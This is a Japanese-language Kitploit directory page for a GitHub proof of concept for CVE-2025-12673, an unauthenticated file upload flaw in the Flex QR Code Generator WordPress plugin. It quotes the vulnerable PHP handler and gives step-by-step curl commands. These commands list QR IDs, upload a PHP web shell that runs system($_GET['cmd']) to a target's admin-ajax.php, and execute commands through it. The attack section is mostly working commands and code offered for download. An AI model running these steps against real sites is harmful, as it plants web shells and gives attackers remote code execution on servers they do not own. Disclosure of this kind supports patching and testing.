Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12673 — Flex QR Code Generator <= 1.2.6 - 未認証の任意ファイルアップロード | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-12673
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubd0n601/cve-2025-12673

CVE-2025-12673

Flex QR Code Generator <= 1.2.6 - 未認証の任意ファイルアップロード

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Flex QR Code Generator <= 1.2.6 - 認証なし任意ファイルアップロード

Flex QR Code Generator プラグインは、update_qr_code AJAX エンドポイントにおいてユーザー権限の検証やファイルアップロードのサニタイズを行わないため、認証されていない攻撃者が PHP スクリプトを含む任意のファイルをアップロードでき、リモートコード実行につながります。

要約 PoC

root@kitploit:~
# PHP webshell のアップロード
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"

詳細

脆弱性は FlexQrCodeGenerator クラスの update_qr_code メソッドに存在します。このプラグインは認証されていないユーザー向けに AJAX エンドポイントを登録しているため、任意の訪問者が任意のファイルをアップロードでき、WordPress のアップロードディレクトリに保存されます。

脆弱なコード /qr-code-generator.php:457-589:

root@kitploit:~
public function update_qr_code()
{
  if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
    // ... バリデーションコード ...
    
    // ロゴ(ファイルアップロード)の処理
    if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
      $logo = $_FILES['logo'];
      $upload_dir = wp_upload_dir();
      
      $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
      $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
      $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
      $file_path = $upload_dir['path'] . '/' . $new_file_name;
      
      if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        // ファイルが正常にアップロードされました
      }
    }
  }
}

ファイル実行 /qr-code-generator.php:504:

root@kitploit:~
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
  $logo_url = $upload_dir['url'] . '/' . $new_file_name;
  $logo_url = str_replace(home_url(), '', $logo_url);
  $update_data['logo_url'] = $logo_url;
}

認証なしアクセス /qr-code-generator.php:41-42:

root@kitploit:~
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

手動再現手順

  1. ターゲットを特定:Flex QR Code Generator プラグインがインストールされているサイト
  2. 既存のQRコードIDを取得:
root@kitploit:~
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=flexqr_fetch_qr_code" \
  -d "per_page=10" \
  -d "page=1"
  1. 悪意のあるPHPファイルをアップロード:
root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"
  1. アップロードを確認:アップロードディレクトリ内の shell_1.php を確認
  2. コマンド実行:アップロードしたファイルに ?cmd=whoami を付けてアクセス
ツールをダウンロード